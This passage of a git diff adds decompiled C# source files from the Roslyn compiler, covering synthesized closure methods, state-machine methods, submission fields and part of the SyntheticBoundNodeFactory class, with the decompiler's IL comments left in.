Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.CodeGen; +using Microsoft.CodeAnalysis.Emit; +using Microsoft.CodeAnalysis.PooledObjects; +using Microsoft.CodeAnalysis.Symbols; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class SynthesizedClosureMethod : SynthesizedMethodBaseSymbol, ISynthesizedMethodBodyImplementationSymbol, ISymbolInternal +{ + private readonly ImmutableArray _structEnvironments; + + internal readonly DebugId LambdaId; + + internal MethodSymbol TopLevelMethod { get; } + + protected override ImmutableArray BaseMethodParameters => BaseMethod.Parameters; + + protected override ImmutableArray ExtraSynthesizedRefParameters => ImmutableArray.CastUp(_structEnvironments); + + internal int ExtraSynthesizedParameterCount + { + get + { + if (!_structEnvironments.IsDefault) + { + return _structEnvironments.Length; + } + return 0; + } + } + + internal override bool InheritsBaseMethodAttributes => true; + + internal override bool GenerateDebugInfo => !IsAsync; + + IMethodSymbolInternal? ISynthesizedMethodBodyImplementationSymbol.Method => (IMethodSymbolInternal?)(object)TopLevelMethod; + + bool ISynthesizedMethodBodyImplementationSymbol.HasMethodBodyDependency => true; + + public ClosureKind ClosureKind { get; } + + internal SynthesizedClosureMethod(NamedTypeSymbol containingType, ImmutableArray structEnvironments, ClosureKind closureKind, MethodSymbol topLevelMethod, DebugId topLevelMethodId, MethodSymbol originalMethod, SyntaxReference blockSyntax, DebugId lambdaId, TypeCompilationState compilationState) + : base(containingType, originalMethod, blockSyntax, originalMethod.DeclaringSyntaxReferences[0].GetLocation(), (originalMethod is LocalFunctionSymbol) ? MakeName(topLevelMethod.Name, originalMethod.Name, topLevelMethodId, closureKind, lambdaId) : MakeName(topLevelMethod.Name, topLevelMethodId, closureKind, lambdaId), MakeDeclarationModifiers(closureKind, originalMethod), originalMethod.IsIterator) + { + //IL_0045: Unknown result type (might be due to invalid IL or missing references) + //IL_0048: Unknown result type (might be due to invalid IL or missing references) + //IL_002b: Unknown result type (might be due to invalid IL or missing references) + //IL_002e: Unknown result type (might be due to invalid IL or missing references) + //IL_0073: Unknown result type (might be due to invalid IL or missing references) + //IL_0075: Unknown result type (might be due to invalid IL or missing references) + TopLevelMethod = topLevelMethod; + ClosureKind = closureKind; + LambdaId = lambdaId; + SynthesizedClosureEnvironment synthesizedClosureEnvironment = ContainingType as SynthesizedClosureEnvironment; + TypeMap typeMap; + ImmutableArray newTypeParameters; + ImmutableArray oldTypeParameters; + switch (closureKind) + { + case ClosureKind.Singleton: + case ClosureKind.General: + typeMap = synthesizedClosureEnvironment.TypeMap.WithConcatAlphaRename(originalMethod, this, out newTypeParameters, out oldTypeParameters, synthesizedClosureEnvironment.OriginalContainingMethodOpt); + break; + case ClosureKind.Static: + case ClosureKind.ThisOnly: + typeMap = TypeMap.Empty.WithConcatAlphaRename(originalMethod, this, out newTypeParameters, out oldTypeParameters); + break; + default: + throw ExceptionUtilities.UnexpectedValue((object)closureKind); + } + if (!structEnvironments.IsDefaultOrEmpty && newTypeParameters.Length != 0) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(); + ImmutableArray.Enumerator enumerator = structEnvironments.GetEnumerator(); + while (enumerator.MoveNext()) + { + SynthesizedClosureEnvironment current = enumerator.Current; + NamedTypeSymbol namedTypeSymbol; + if (current.Arity == 0) + { + namedTypeSymbol = current; + } + else + { + ImmutableArray constructedFromTypeParameters = current.ConstructedFromTypeParameters; + ImmutableArray immutableArray = typeMap.SubstituteTypeParameters(constructedFromTypeParameters); + namedTypeSymbol = current.Construct(immutableArray); + } + instance.Add(namedTypeSymbol); + } + _structEnvironments = instance.ToImmutableAndFree(); + } + else + { + _structEnvironments = ImmutableArray.CastUp(structEnvironments); + } + AssignTypeMapAndTypeParameters(typeMap, newTypeParameters); + EnsureAttributesExist(compilationState); + } + + private void EnsureAttributesExist(TypeCompilationState compilationState) + { + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Invalid comparison between Unknown and I4 + PEModuleBuilder moduleBuilderOpt = compilationState.ModuleBuilderOpt; + if (moduleBuilderOpt == null) + { + return; + } + if ((int)RefKind == 3) + { + moduleBuilderOpt.EnsureIsReadOnlyAttributeExists(); + } + ParameterHelpers.EnsureRefKindAttributesExist(moduleBuilderOpt, Parameters); + if (((PEModuleBuilder)moduleBuilderOpt).Compilation.ShouldEmitNativeIntegerAttributes()) + { + if (base.ReturnType.ContainsNativeIntegerWrapperType()) + { + moduleBuilderOpt.EnsureNativeIntegerAttributeExists(); + } + ParameterHelpers.EnsureNativeIntegerAttributeExists(moduleBuilderOpt, Parameters); + } + ParameterHelpers.EnsureScopedRefAttributeExists(moduleBuilderOpt, Parameters); + if (compilationState.Compilation.ShouldEmitNullableAttributes(this)) + { + if (ShouldEmitNullableContextValue(out var _)) + { + moduleBuilderOpt.EnsureNullableContextAttributeExists(); + } + if (ReturnTypeWithAnnotations.NeedsNullableAttribute()) + { + moduleBuilderOpt.EnsureNullableAttributeExists(); + } + } + ParameterHelpers.EnsureNullableAttributeExists(moduleBuilderOpt, this, Parameters); + } + + private static DeclarationModifiers MakeDeclarationModifiers(ClosureKind closureKind, MethodSymbol originalMethod) + { + DeclarationModifiers declarationModifiers = ((closureKind == ClosureKind.ThisOnly) ? DeclarationModifiers.Private : DeclarationModifiers.Internal); + if (closureKind == ClosureKind.Static) + { + declarationModifiers |= DeclarationModifiers.Static; + } + if (originalMethod.IsAsync) + { + declarationModifiers |= DeclarationModifiers.Async; + } + if (originalMethod.IsExtern) + { + declarationModifiers |= DeclarationModifiers.Extern; + } + return declarationModifiers; + } + + private static string MakeName(string topLevelMethodName, string localFunctionName, DebugId topLevelMethodId, ClosureKind closureKind, DebugId lambdaId) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + return GeneratedNames.MakeLocalFunctionName(topLevelMethodName, localFunctionName, (closureKind == ClosureKind.General) ? (-1) : topLevelMethodId.Ordinal, topLevelMethodId.Generation, lambdaId.Ordinal, lambdaId.Generation); + } + + private static string MakeName(string topLevelMethodName, DebugId topLevelMethodId, ClosureKind closureKind, DebugId lambdaId) + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + return GeneratedNames.MakeLambdaMethodName(topLevelMethodName, (closureKind == ClosureKind.General) ? (-1) : topLevelMethodId.Ordinal, topLevelMethodId.Generation, lambdaId.Ordinal, lambdaId.Generation); + } + + internal override int CalculateLocalSyntaxOffset(int localPosition, SyntaxTree localTree) + { + return TopLevelMethod.CalculateLocalSyntaxOffset(localPosition, localTree); + } + + internal override ExecutableCodeBinder? TryGetBodyBinder(BinderFactory? binderFactoryOpt = null, bool ignoreAccessibility = false) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Lowering/ClosureConversion/SynthesizedClosureMethod.cs", 238); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/SynthesizedMetadataCompiler.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/SynthesizedMetadataCompiler.cs new file mode 100644 index 0000000..3f0fa05 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/SynthesizedMetadataCompiler.cs @@ -0,0 +1,77 @@ +using System.Collections.Immutable; +using System.Threading; +using Microsoft.Cci; +using Microsoft.CodeAnalysis.CSharp.Emit; +using Microsoft.CodeAnalysis.CSharp.Emit.NoPia; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.Emit; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class SynthesizedMetadataCompiler : CSharpSymbolVisitor +{ + private readonly PEModuleBuilder _moduleBeingBuilt; + + private readonly CancellationToken _cancellationToken; + + private SynthesizedMetadataCompiler(PEModuleBuilder moduleBeingBuilt, CancellationToken cancellationToken) + { + _moduleBeingBuilt = moduleBeingBuilt; + _cancellationToken = cancellationToken; + } + + public static void ProcessSynthesizedMembers(CSharpCompilation compilation, PEModuleBuilder moduleBeingBuilt, CancellationToken cancellationToken) + { + new SynthesizedMetadataCompiler(moduleBeingBuilt, cancellationToken).Visit(compilation.SourceModule.GlobalNamespace); + } + + public override void VisitNamespace(NamespaceSymbol symbol) + { + CancellationToken cancellationToken = _cancellationToken; + cancellationToken.ThrowIfCancellationRequested(); + ImmutableArray.Enumerator enumerator = symbol.GetMembers().GetEnumerator(); + while (enumerator.MoveNext()) + { + enumerator.Current.Accept(this); + } + } + + public override void VisitNamedType(NamedTypeSymbol symbol) + { + //IL_007a: Unknown result type (might be due to invalid IL or missing references) + //IL_007f: Unknown result type (might be due to invalid IL or missing references) + //IL_0081: Unknown result type (might be due to invalid IL or missing references) + //IL_0085: Invalid comparison between Unknown and I4 + //IL_0087: Unknown result type (might be due to invalid IL or missing references) + //IL_008b: Invalid comparison between Unknown and I4 + CancellationToken cancellationToken = _cancellationToken; + cancellationToken.ThrowIfCancellationRequested(); + if (symbol is SourceMemberContainerTypeSymbol sourceMemberContainerTypeSymbol && _moduleBeingBuilt != null) + { + ImmutableArray.Enumerator enumerator = sourceMemberContainerTypeSymbol.GetSynthesizedExplicitImplementations(_cancellationToken).ForwardingMethods.GetEnumerator(); + while (enumerator.MoveNext()) + { + SynthesizedExplicitImplementationForwardingMethod current = enumerator.Current; + ((PEModuleBuilder)_moduleBeingBuilt).AddSynthesizedDefinition(symbol, (IMethodDefinition)(object)current.GetCciAdapter()); + } + } + ImmutableArray.Enumerator enumerator2 = symbol.GetMembers().GetEnumerator(); + while (enumerator2.MoveNext()) + { + Symbol current2 = enumerator2.Current; + SymbolKind kind = current2.Kind; + if ((int)kind == 11 || (int)kind == 15) + { + current2.Accept(this); + } + } + } + + public override void VisitProperty(PropertySymbol symbol) + { + if (symbol is SourcePropertySymbolBase { IsSealed: not false, SynthesizedSealedAccessorOpt: { } synthesizedSealedAccessorOpt } sourcePropertySymbolBase) + { + ((PEModuleBuilder)_moduleBeingBuilt).AddSynthesizedDefinition(sourcePropertySymbolBase.ContainingType, (IMethodDefinition)(object)synthesizedSealedAccessorOpt.GetCciAdapter()); + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/SynthesizedStateMachineDebuggerHiddenMethod.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/SynthesizedStateMachineDebuggerHiddenMethod.cs new file mode 100644 index 0000000..6fd5d78 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/SynthesizedStateMachineDebuggerHiddenMethod.cs @@ -0,0 +1,20 @@ +using Microsoft.CodeAnalysis.CSharp.Emit; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.PooledObjects; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class SynthesizedStateMachineDebuggerHiddenMethod : SynthesizedStateMachineMethod +{ + public SynthesizedStateMachineDebuggerHiddenMethod(string name, MethodSymbol interfaceMethod, StateMachineTypeSymbol stateMachineType, PropertySymbol associatedProperty, bool hasMethodBodyDependency) + : base(name, interfaceMethod, stateMachineType, associatedProperty, generateDebugInfo: false, hasMethodBodyDependency) + { + } + + internal sealed override void AddSynthesizedAttributes(PEModuleBuilder moduleBuilder, ref ArrayBuilder attributes) + { + CSharpCompilation declaringCompilation = DeclaringCompilation; + Symbol.AddSynthesizedAttribute(ref attributes, declaringCompilation.TrySynthesizeAttribute((WellKnownMember)70)); + base.AddSynthesizedAttributes(moduleBuilder, ref attributes); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/SynthesizedStateMachineMethod.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/SynthesizedStateMachineMethod.cs new file mode 100644 index 0000000..b07a0e2 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/SynthesizedStateMachineMethod.cs @@ -0,0 +1,26 @@ +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal abstract class SynthesizedStateMachineMethod : SynthesizedImplementationMethod, ISynthesizedMethodBodyImplementationSymbol, ISymbolInternal +{ + private readonly bool _hasMethodBodyDependency; + + public StateMachineTypeSymbol StateMachineType => (StateMachineTypeSymbol)ContainingSymbol; + + public bool HasMethodBodyDependency => _hasMethodBodyDependency; + + IMethodSymbolInternal ISynthesizedMethodBodyImplementationSymbol.Method => (IMethodSymbolInternal)(object)StateMachineType.KickoffMethod; + + protected SynthesizedStateMachineMethod(string name, MethodSymbol interfaceMethod, StateMachineTypeSymbol stateMachineType, PropertySymbol associatedProperty, bool generateDebugInfo, bool hasMethodBodyDependency) + : base(interfaceMethod, stateMachineType, name, generateDebugInfo, associatedProperty) + { + _hasMethodBodyDependency = hasMethodBodyDependency; + } + + internal override int CalculateLocalSyntaxOffset(int localPosition, SyntaxTree localTree) + { + return StateMachineType.KickoffMethod.CalculateLocalSyntaxOffset(localPosition, localTree); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/SynthesizedStateMachineMoveNextMethod.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/SynthesizedStateMachineMoveNextMethod.cs new file mode 100644 index 0000000..ec42995 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/SynthesizedStateMachineMoveNextMethod.cs @@ -0,0 +1,43 @@ +using System.Collections.Immutable; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.PooledObjects; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class SynthesizedStateMachineMoveNextMethod : SynthesizedStateMachineMethod +{ + private ImmutableArray _attributes; + + public SynthesizedStateMachineMoveNextMethod(MethodSymbol interfaceMethod, StateMachineTypeSymbol stateMachineType) + : base("MoveNext", interfaceMethod, stateMachineType, null, generateDebugInfo: true, hasMethodBodyDependency: true) + { + } + + public override ImmutableArray GetAttributes() + { + //IL_003b: Unknown result type (might be due to invalid IL or missing references) + //IL_004a: Unknown result type (might be due to invalid IL or missing references) + //IL_0059: Unknown result type (might be due to invalid IL or missing references) + //IL_0068: Unknown result type (might be due to invalid IL or missing references) + if (_attributes.IsDefault) + { + ArrayBuilder val = null; + MethodSymbol kickoffMethod = base.StateMachineType.KickoffMethod; + ImmutableArray.Enumerator enumerator = kickoffMethod.GetAttributes().GetEnumerator(); + while (enumerator.MoveNext()) + { + CSharpAttributeData current = enumerator.Current; + if (current.IsTargetAttribute(kickoffMethod, AttributeDescription.DebuggerHiddenAttribute) || current.IsTargetAttribute(kickoffMethod, AttributeDescription.DebuggerNonUserCodeAttribute) || current.IsTargetAttribute(kickoffMethod, AttributeDescription.DebuggerStepperBoundaryAttribute) || current.IsTargetAttribute(kickoffMethod, AttributeDescription.DebuggerStepThroughAttribute)) + { + if (val == null) + { + val = ArrayBuilder.GetInstance(4); + } + val.Add(current); + } + } + ImmutableInterlocked.InterlockedCompareExchange(ref _attributes, val?.ToImmutableAndFree() ?? ImmutableArray.Empty, default(ImmutableArray)); + } + return _attributes; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/SynthesizedSubmissionFields.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/SynthesizedSubmissionFields.cs new file mode 100644 index 0000000..0b510e1 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/SynthesizedSubmissionFields.cs @@ -0,0 +1,93 @@ +using System; +using System.Collections.Generic; +using Microsoft.Cci; +using Microsoft.CodeAnalysis.CSharp.Emit; +using Microsoft.CodeAnalysis.CSharp.Emit.NoPia; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.Emit; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal class SynthesizedSubmissionFields +{ + private readonly NamedTypeSymbol _declaringSubmissionClass; + + private readonly CSharpCompilation _compilation; + + private FieldSymbol _hostObjectField; + + private Dictionary _previousSubmissionFieldMap; + + internal int Count + { + get + { + if (_previousSubmissionFieldMap != null) + { + return _previousSubmissionFieldMap.Count; + } + return 0; + } + } + + internal IEnumerable FieldSymbols + { + get + { + if (_previousSubmissionFieldMap != null) + { + return _previousSubmissionFieldMap.Values; + } + return Array.Empty(); + } + } + + public SynthesizedSubmissionFields(CSharpCompilation compilation, NamedTypeSymbol submissionClass) + { + _declaringSubmissionClass = submissionClass; + _compilation = compilation; + } + + internal FieldSymbol GetHostObjectField() + { + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Invalid comparison between Unknown and I4 + if ((object)_hostObjectField != null) + { + return _hostObjectField; + } + TypeSymbol hostObjectTypeSymbol = _compilation.GetHostObjectTypeSymbol(); + if ((object)hostObjectTypeSymbol != null && (int)hostObjectTypeSymbol.Kind != 4) + { + return _hostObjectField = new SynthesizedFieldSymbol(_declaringSubmissionClass, hostObjectTypeSymbol, "", isPublic: false, isReadOnly: true); + } + return null; + } + + internal FieldSymbol GetOrMakeField(ImplicitNamedTypeSymbol previousSubmissionType) + { + if (_previousSubmissionFieldMap == null) + { + _previousSubmissionFieldMap = new Dictionary(); + } + if (!_previousSubmissionFieldMap.TryGetValue(previousSubmissionType, out var value)) + { + value = new SynthesizedFieldSymbol(_declaringSubmissionClass, previousSubmissionType, "<" + previousSubmissionType.Name + ">", isPublic: false, isReadOnly: true); + _previousSubmissionFieldMap.Add(previousSubmissionType, value); + } + return value; + } + + internal void AddToType(NamedTypeSymbol containingType, PEModuleBuilder moduleBeingBuilt) + { + foreach (FieldSymbol fieldSymbol in FieldSymbols) + { + ((PEModuleBuilder)moduleBeingBuilt).AddSynthesizedDefinition(containingType, (IFieldDefinition)(object)fieldSymbol.GetCciAdapter()); + } + FieldSymbol hostObjectField = GetHostObjectField(); + if ((object)hostObjectField != null) + { + ((PEModuleBuilder)moduleBeingBuilt).AddSynthesizedDefinition(containingType, (IFieldDefinition)(object)hostObjectField.GetCciAdapter()); + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/SyntheticBoundNodeFactory.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/SyntheticBoundNodeFactory.cs new file mode 100644 index 0000000..1763cb4 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/SyntheticBoundNodeFactory.cs @@ -0,0 +1,1657 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Diagnostics; +using System.Linq; +using Microsoft.Cci; +using Microsoft.CodeAnalysis.CSharp.CodeGen; +using Microsoft.CodeAnalysis.CSharp.Emit; +using Microsoft.CodeAnalysis.CSharp.Emit.NoPia; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.CSharp.Syntax; +using Microsoft.CodeAnalysis.CodeGen; +using Microsoft.CodeAnalysis.Emit; +using Microsoft.CodeAnalysis.PooledObjects; +using Microsoft.CodeAnalysis.RuntimeMembers; +using Microsoft.CodeAnalysis.Text; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class SyntheticBoundNodeFactory +{ + public class MissingPredefinedMember : Exception + { + public Diagnostic Diagnostic { get; } + + public MissingPredefinedMember(Diagnostic error) + : base(((object)error).ToString()) + { + Diagnostic = error; + } + } + + private sealed class SyntheticBinderImpl : BuckStopsHereBinder + { + private readonly SyntheticBoundNodeFactory _factory; + + internal override Symbol? ContainingMemberOrLambda => _factory.CurrentFunction; + + internal SyntheticBinderImpl(SyntheticBoundNodeFactory factory) + : base(factory.Compilation, null) + { + _factory = factory; + } + + internal override bool IsAccessibleHelper(Symbol symbol, TypeSymbol accessThroughType, out bool failedThroughTypeCheck, ref CompoundUseSiteInfo useSiteInfo, ConsList basesBeingResolved) + { + return AccessCheck.IsSymbolAccessible(symbol, _factory.CurrentType, accessThroughType, out failedThroughTypeCheck, ref useSiteInfo, basesBeingResolved); + } + } + + internal readonly struct SyntheticSwitchSection(ImmutableArray values, ImmutableArray statements) + { + public readonly ImmutableArray Values = values; + + public readonly ImmutableArray Statements = statements; + } + + private NamedTypeSymbol? _currentType; + + private MethodSymbol? _currentFunction; + + private MethodSymbol? _topLevelMethod; + + private Binder? _binder; + + public CSharpCompilation Compilation => CompilationState.Compilation; + + public SyntaxNode Syntax { get; set; } + + public PEModuleBuilder? ModuleBuilderOpt => CompilationState.ModuleBuilderOpt; + + public BindingDiagnosticBag Diagnostics { get; } + + public InstrumentationState? InstrumentationState { get; } + + public TypeCompilationState CompilationState { get; } + + public NamedTypeSymbol? CurrentType + { + get + { + return _currentType; + } + set + { + _currentType = value; + } + } + + public MethodSymbol? CurrentFunction + { + get + { + return _currentFunction; + } + set + { + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Invalid comparison between Unknown and I4 + _currentFunction = value; + if ((object)value != null && (int)value.MethodKind != 0 && (int)value.MethodKind != 17) + { + _topLevelMethod = value; + _currentType = value.ContainingType; + } + } + } + + public MethodSymbol? TopLevelMethod + { + get + { + return _topLevelMethod; + } + private set + { + _topLevelMethod = value; + } + } + + internal BoundExpression MakeInvocationExpression(BinderFlags flags, SyntaxNode node, BoundExpression receiver, string methodName, ImmutableArray args, BindingDiagnosticBag diagnostics, ImmutableArray typeArgs = default(ImmutableArray), bool allowUnexpandedForm = true) + { + //IL_0076: Unknown result type (might be due to invalid IL or missing references) + //IL_007c: Unknown result type (might be due to invalid IL or missing references) + if (_binder == null || _binder.Flags != flags) + { + _binder = new SyntheticBinderImpl(this).WithFlags(flags); + } + Binder? binder = _binder; + ImmutableArray typeArgs2 = (typeArgs.IsDefault ? default(ImmutableArray) : ImmutableArrayExtensions.SelectAsArray(typeArgs, (Func)((TypeSymbol t) => TypeWithAnnotations.Create(t)))); + bool allowUnexpandedForm2 = allowUnexpandedForm; + return binder.MakeInvocationExpression(node, receiver, methodName, args, diagnostics, default(SeparatedSyntaxList), typeArgs2, default(ImmutableArray<(string, Location)?>), null, allowFieldsAndProperties: false, allowUnexpandedForm2); + } + + public SyntheticBoundNodeFactory(MethodSymbol topLevelMethod, SyntaxNode node, TypeCompilationState compilationState, BindingDiagnosticBag diagnostics, InstrumentationState? instrumentationState = null) + : this(topLevelMethod, topLevelMethod.ContainingType, node, compilationState, diagnostics, instrumentationState) + { + } + + public SyntheticBoundNodeFactory(MethodSymbol? topLevelMethodOpt, NamedTypeSymbol? currentClassOpt, SyntaxNode node, TypeCompilationState compilationState, BindingDiagnosticBag diagnostics, InstrumentationState? instrumentationState = null) + { + CompilationState = compilationState; + CurrentType = currentClassOpt; + TopLevelMethod = topLevelMethodOpt; + CurrentFunction = topLevelMethodOpt; + Syntax = node; + Diagnostics = diagnostics; + InstrumentationState = instrumentationState; + } + + [Conditional("DEBUG")] + private void CheckCurrentType() + { + _ = CurrentType; + } + + public void AddNestedType(NamedTypeSymbol nestedType) + { + ((PEModuleBuilder)ModuleBuilderOpt).AddSynthesizedDefinition(CurrentType, (INestedTypeDefinition)(object)nestedType.GetCciAdapter()); + } + + public void OpenNestedType(NamedTypeSymbol nestedType) + { + AddNestedType(nestedType); + CurrentFunction = null; + TopLevelMethod = null; + CurrentType = nestedType; + } + + public BoundHoistedFieldAccess HoistedField(FieldSymbol field) + { + return new BoundHoistedFieldAccess(Syntax, field, field.Type); + } + + public StateMachineFieldSymbol StateMachineField(TypeWithAnnotations type, string name, bool isPublic = false, bool isThis = false) + { + StateMachineFieldSymbol stateMachineFieldSymbol = new StateMachineFieldSymbol(CurrentType, type, name, isPublic, isThis); + AddField(CurrentType, stateMachineFieldSymbol); + return stateMachineFieldSymbol; + } + + public StateMachineFieldSymbol StateMachineField(TypeSymbol type, string name, bool isPublic = false, bool isThis = false) + { + StateMachineFieldSymbol stateMachineFieldSymbol = new StateMachineFieldSymbol(CurrentType, TypeWithAnnotations.Create(type), name, isPublic, isThis); + AddField(CurrentType, stateMachineFieldSymbol); + return stateMachineFieldSymbol; + } + + public StateMachineFieldSymbol StateMachineField(TypeSymbol type, string name, SynthesizedLocalKind synthesizedKind, int slotIndex) + { + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + StateMachineFieldSymbol stateMachineFieldSymbol = new StateMachineFieldSymbol(CurrentType, type, name, synthesizedKind, slotIndex, isPublic: false); + AddField(CurrentType, stateMachineFieldSymbol); + return stateMachineFieldSymbol; + } + + public StateMachineFieldSymbol StateMachineField(TypeSymbol type, string name, LocalSlotDebugInfo slotDebugInfo, int slotIndex) + { + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + StateMachineFieldSymbol stateMachineFieldSymbol = new StateMachineFieldSymbol(CurrentType, type, name, slotDebugInfo, slotIndex, isPublic: false); + AddField(CurrentType, stateMachineFieldSymbol); + return stateMachineFieldSymbol; + } + + public void AddField(NamedTypeSymbol containingType, FieldSymbol field) + { + ((PEModuleBuilder)ModuleBuilderOpt).AddSynthesizedDefinition(containingType, (IFieldDefinition)(object)field.GetCciAdapter()); + } + + public GeneratedLabelSymbol GenerateLabel(string prefix) + { + return new GeneratedLabelSymbol(prefix); + } + + public BoundThisReference This() + { + return new BoundThisReference(Syntax, CurrentFunction.ThisParameter.Type) + { + WasCompilerGenerated = true + }; + } + + public BoundExpression This(LocalSymbol thisTempOpt) + { + if (!(thisTempOpt != null)) + { + return This(); + } + return Local(thisTempOpt); + } + + public BoundBaseReference Base(NamedTypeSymbol baseType) + { + return new BoundBaseReference(Syntax, baseType) + { + WasCompilerGenerated = true + }; + } + + public BoundBadExpression BadExpression(TypeSymbol type) + { + return new BoundBadExpression(Syntax, LookupResultKind.Empty, ImmutableArray.Empty, ImmutableArray.Empty, type, hasErrors: true); + } + + public BoundParameter Parameter(ParameterSymbol p) + { + return new BoundParameter(Syntax, p, p.Type) + { + WasCompilerGenerated = true + }; + } + + public BoundFieldAccess Field(BoundExpression? receiver, FieldSymbol f) + { + return new BoundFieldAccess(Syntax, receiver, f, null, LookupResultKind.Viable, f.Type) + { + WasCompilerGenerated = true + }; + } + + public BoundFieldAccess InstanceField(FieldSymbol f) + { + return Field(This(), f); + } + + public BoundExpression Property(WellKnownMember member) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + return Property(null, member); + } + + public BoundExpression Property(BoundExpression? receiverOpt, WellKnownMember member) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + PropertySymbol propertySymbol = (PropertySymbol)WellKnownMember(member); + Binder.ReportUseSite(propertySymbol, Diagnostics, Syntax); + return Property(receiverOpt, propertySymbol); + } + + public BoundExpression Property(BoundExpression? receiverOpt, PropertySymbol property) + { + MethodSymbol ownOrInheritedGetMethod = property.GetOwnOrInheritedGetMethod(); + return Call(receiverOpt, ownOrInheritedGetMethod); + } + + public BoundExpression Indexer(BoundExpression? receiverOpt, PropertySymbol property, BoundExpression arg0) + { + MethodSymbol ownOrInheritedGetMethod = property.GetOwnOrInheritedGetMethod(); + return Call(receiverOpt, ownOrInheritedGetMethod, arg0); + } + + public NamedTypeSymbol SpecialType(SpecialType st) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + NamedTypeSymbol specialType = Compilation.GetSpecialType(st); + Binder.ReportUseSite(specialType, Diagnostics, Syntax); + return specialType; + } + + public ArrayTypeSymbol WellKnownArrayType(WellKnownType elementType) + { + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + return Compilation.CreateArrayTypeSymbol(WellKnownType(elementType)); + } + + public NamedTypeSymbol WellKnownType(WellKnownType wt) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + NamedTypeSymbol wellKnownType = Compilation.GetWellKnownType(wt); + Binder.ReportUseSite(wellKnownType, Diagnostics, Syntax); + return wellKnownType; + } + + public Symbol? WellKnownMember(WellKnownMember wm, bool isOptional) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0022: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_003f: Unknown result type (might be due to invalid IL or missing references) + Symbol wellKnownTypeMember = Binder.GetWellKnownTypeMember(Compilation, wm, Diagnostics, null, Syntax, isOptional: true); + if ((object)wellKnownTypeMember == null && !isOptional) + { + MemberDescriptor descriptor = WellKnownMembers.GetDescriptor(wm); + throw new MissingPredefinedMember((Diagnostic)(object)new CSDiagnostic((DiagnosticInfo)(object)new CSDiagnosticInfo(ErrorCode.ERR_MissingPredefinedMember, ((MemberDescriptor)(ref descriptor)).DeclaringTypeMetadataName, descriptor.Name), Syntax.Location)); + } + return wellKnownTypeMember; + } + + public Symbol WellKnownMember(WellKnownMember wm) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WellKnownMember(wm, isOptional: false); + } + + public MethodSymbol? 